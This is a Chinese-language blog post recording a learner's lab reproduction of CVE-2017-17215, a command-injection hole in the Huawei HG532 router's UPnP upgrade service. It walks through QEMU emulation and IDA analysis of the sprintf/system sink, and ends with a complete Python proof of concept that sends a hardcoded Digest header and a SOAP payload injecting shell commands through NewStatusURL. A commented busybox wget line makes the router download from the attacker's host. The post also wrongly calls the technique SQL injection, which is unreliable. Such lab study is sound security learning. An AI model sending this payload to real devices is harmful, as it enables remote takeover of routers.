在我们搭好qemu环境之后就可以来找cve复现了,这里我选择的是cve-2017-17215
放上师傅们的地址
http://ronpa.top/2018/11/29/CVE-2017-17215%E8%B7%AF%E7%94%B1%E5%99%A8%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
https://xz.aliyun.com/t/4819
https://www.freebuf.com/vuls/160040.html
https://paper.seebug.org/490/
设备:华为HG532
漏洞:远程执行代码漏洞
渗透方式:SQL注入
固件下载地址:
qemu就不说了,可参考上一个博客,ssh连接qemu的环境,然后通过scp将固件路由copy过去
通过chroot . sh切换根目录 ps:chroot的讲解
运行mic(后面会讲解固件ida分析过程)
固件ida分析
mips架构,根据师傅们的首先分析漏洞点位于Upnp的服务之中
Upnp:通用即插即用(英语:Universal Plug and Play,简称UPnP)是由“通用即插即用论坛”(UPnP™ Forum)推广的一套网络协议。该协议的目标是使家庭网络(数据共享、通信和娱乐)和公司网络中的各种设备能够相互无缝连接,并简化相关网络的实现。UPnP通过定义和发布基于开放、因特网通讯网协议标准的UPnP设备控制协议来实现这一目标。(来自于百度百科)
本来想分析一下soap协议但是同学说了解就可以,现在用的不多,所以这里就不多提了。
直接根据poc分析,因为使用到了NewDownloadURL,所以直接ida查询string,交叉引用找到函数的作用点
下面是关键汇编处,sprintf用到四个参数a0,a1,a2,a3,后面无缝衔接一个system(a0),所以注入点就在a0,a0就是NewStatusURL的值,我们post一个闭合参数给a0,便可以执行任意命令
在kali段运行poc,实现ls,wget,mkdir等命令,复现成功
ls
wget
这里通过监听kali的80端口,进行测试,我们wget目标是让通过远程命令让固件对kali主机进行一个get操作,下图是实现成果
mkdir:建立一个flag文件
poc脚本
import requests headers = { "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669" } data = '''<?xml version="1.0" ?> <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"> <NewStatusURL>;ls bin;</NewStatusURL> <NewDownloadURL>HUAWEIUPNP</NewDownloadURL> </u:Upgrade> </s:Body> </s:Envelope> ''' requests.post('http://192.168.66.132:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data) #/bin/busybox wget -g 192.168.66.132 -l /tmp/1 -r /1 #ls #mkdir flag
第一个复现的iot吧,还是有太多东西不懂,还需要继续学习,奥利给!